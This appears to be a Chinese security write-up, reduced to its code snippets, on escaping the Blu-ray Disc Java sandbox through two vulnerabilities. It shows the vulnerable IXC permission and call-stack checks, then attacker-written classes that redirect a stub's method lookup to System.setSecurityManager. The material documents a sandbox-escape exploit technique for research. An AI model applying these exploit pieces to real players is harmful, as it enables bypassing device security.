Blu-ray Disc Java沙箱逃逸 via 两个漏洞

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

try {
    var4 = (Class[])AccessController.doPrivileged(new IxcProxy.GetCallStackAction());
} catch (PrivilegedActionException var9) {
}

if (var4 != null && var4.length > 2) {
    for(int var5 = 0; var5 < var4.length; ++var5) {
        String var6 = var4[var5].getName();
        if (var6.equals("com.sony.gemstack.org.dvb.io.ixc.IxcProxy")) {
            String var7 = var4[var5 + 1].getName();
            if (!var7.startsWith("org.dvb.io.ixc.") && !var7.startsWith("com.sony.gemstack.org.dvb.io.ixc.")) {
                throw new SecurityException("illegal call of invokeMethod");
            }
            break;
        }
    }
}

1
2
3

SecurityManager sm = System.getSecurityManager();
if (sm != null)
    sm.checkPermission(new IxcPermission(name, "bind"));

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

AccessController.doPrivileged(
    new PrivilegedExceptionAction() {
        public Object run() throws RemoteException {
            Throwable err = null;
            try {
                result[0] = remoteMethod.invoke(targetNow, args);
            } catch (InvocationTargetException ite) {
                err = ite.getTargetException();
            } catch (Throwable t) {
                err = t;
            }
            // ...
            return null;
        }
    }
, context);

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

public final class StubClass$$42 extends com.sun.xlet.WrappedRemote
implements UserIF {

    private static Method com_sun_xlet_method0;
    private static Method com_sun_xlet_method1;

    public static void com_sun_xlet_init(Method findMethodMethod)
    throws Exception {
        // findMethodMethod是目标*远程对象所在ClassLoader的Utils.findMethod
        if (com_sun_xlet_method0 != null) {
            return;
        }
        com_sun_xlet_method0 = (Method) findMethodMethod.invoke(null,
        new Object[] { "UserIF", "frob", new Object[] { "Something" }});
        com_sun_xlet_method1 = (Method) findMethodMethod.invoke(null,
        new Object[] { "UserIF", "glorp",
        new Object[] { java.lang.Float.TYPE }});
    }

    public static void com_sun_xlet_destroy() {
        com_sun_xlet_method0 = null;
        com_sun_xlet_method1 = null;
    }

    public StubClass$$42(Remote target, ImportRegistryImpl registry,
    RegistryKey key) {
        super(target, registry, key);
    }

    public void frob(Something arg1) throws org.dvb.ixc.RemoteException {
        com_sun_xlet_execute(com_sun_xlet_method0,
        new Object[] { arg1 });
    }

    public int glorp(float arg1) throws org.dvb.ixc.RemoteException {
        Object r = com_sun_xlet_execute(com_sun_xlet_method1,
        new Object[] { new Float(arg1) });
        return ((Integer) r).intValue();
    }
}

1
2
3
4
5
6
7

public interface SystemInterface extends java.rmi.Remote {
    void setSecurityManager(java.rmi.Remote sm) throws java.rmi.RemoteException;
}

public class SystemImpl implements SystemInterface {
    public void setSecurityManager(java.rmi.Remote sm) {}
}

1
2
3
4
5

public static Object findMethod(String cName, String mName, Object[] types)
throws NoSuchMethodException {
    return System.class.getMethod(
    "setSecurityManager", new Class[] {SecurityManager.class});
}